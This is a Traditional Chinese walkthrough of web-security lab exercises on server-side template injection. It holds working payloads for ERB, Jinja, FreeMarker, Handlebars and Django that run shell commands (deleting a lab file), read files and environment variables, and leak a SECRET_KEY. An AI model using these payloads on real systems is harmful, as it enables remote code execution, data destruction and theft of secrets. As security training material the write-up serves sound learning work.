Server-side template injection(伺服器端模板注入),攻擊者能夠使用本機模板語法將惡意負載注入到模板中,然後在伺服器端執行。常見的模板引擊如下
- PHP: Smarty, Twig, Blade
- JAVA: JSP, FreeMarker, Velocity
- Python: Jinja2, django, tornado
對目標網站fuzz測試,可用注入模板表達式中常用的特殊字元序列,例如${{<%[%'"}}%\
。如果引發異常,則表示伺服器可能以某種方式解釋注入的模板語法。這是SSTI漏洞可能存在的一個跡象,接著可以利用簡單的算術來測試漏洞,像是{{7*'7'}}
或<%= 7*7 %>
等。
以GET為例
舉例來說,對目標網站fuzz測試後發現可能存在風險,用<%= 7*7 %>
測試是否有漏洞,發現以下返回結果為 49,確認存在模版注入漏洞
https://your-lab-id.web-security-academy.net/?message=<%25%3d+7*7+%25>
為了透過漏洞執行刪除指令rm /home/carlos/morale.txt
,將請求改為如下,送出後模版引擊就會執行以下指令執行刪除語法
https://your-lab-id.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>
Lab: Basic server-side template injection
以POST為例
另一個例子,對目標網站fuzz測試後發現可能存在風險,使用}}{{7*7}}
測試是否有漏洞,發現以下返回結果出現 49,確認存在漏洞
POST /my-account/change-blog-post-author-display HTTP/1.1
...omit...
blog-post-author-display=user.name}}{{7*7}}&csrf=...omit
透過漏洞執行rm /home/carlos/morale.txt
,因該模版語法為python,所以要改為{% import os %} {{os.system('rm /home/carlos/morale.txt')
,放入請求中送出如下
POST /my-account/change-blog-post-author-display HTTP/1.1
...omit...
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')&csrf=...omit
之後在重新載入評論頁面即可執行刪除指令
Lab: Basic server-side template injection (code context)
利用模版有風險的功能
特定的內建物件或函數可能帶來安全風險,文件也會多次提出一些安全警告
例如,在ERB中,文件顯示您可以列出所有目錄,然後讀取任意文件
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
在Freemarker中,以下可執行系統指令
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
以freemarker攻擊為例
舉例某網站的編輯產品頁可看到模版語法格式為${someExpression},使用<h1> ${2*2} </h1>測試,保存後看到返回結果為4,確認有漏洞。使用不存在的對象${foobar}做測試,保存模版看到錯誤訊息確認為freemarker模版引擊。
利用freemarker模版引擊的高風險功能,執行rm /home/carlos/morale.txt
,如下,
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
編輯產品將以上語法插入並保存,查看產品頁即可觸發攻擊指令
Lab: Server-side template injection using documentation
使用己知漏洞
一旦能夠識別正在使用的模板引擎,可以瀏覽網路查找已知漏洞
舉例來說,假如不知道網站使用何種模版引擊,可以先對網站的一些參數做模板語言相關的fuzz,如下
GET /?message=${{<%[%%27"}}%\ HTTP/1.1
在返回錯誤訊息中,發現website使用Handlebars模版引擊,搜尋相關攻擊手法可發現@Zombiehelp54的一篇文章。
根據文章的指示可以知道如何利用漏洞,假如想刪除檔案/home/carlos/morale.txt
,可修改exploit如下
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
接著在把上述內容透過urlencode編碼在送出請求即可成功觸發攻擊指令
https://your-lab-id.web-security-academy.net/?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
Lab: Server-side template injection in an unknown language with a documented exploit
使用敏感信息
許多模板引擎公開可支援的所有對象、方法和屬性的名稱空間等,這些可做為攻擊的情報,例如
- 在基於 Java 的範本語言中,有時可以用
${T(java.lang.System).getenv()}
來列出環境中的所有變數 - Django中,可以用
{% debug %}
顯示調試資訊
舉例來說,目標網站在使用模糊字串${{<%[%'"}}%\
儲存並測試後,發現輸出中的錯誤訊息提示正在使用 Django 框架,就可用Django文檔提到的{% debug %}
取得大量調試信息。
分析調試信息發現settings 這個物件,經文檔調查發現包含SECRET_KEY屬性,因此使用{{settings.SECRET_KEY}}
語法,儲存後就可取得金鑰內容
lab: Server-side template injection with information disclosure via user-supplied objects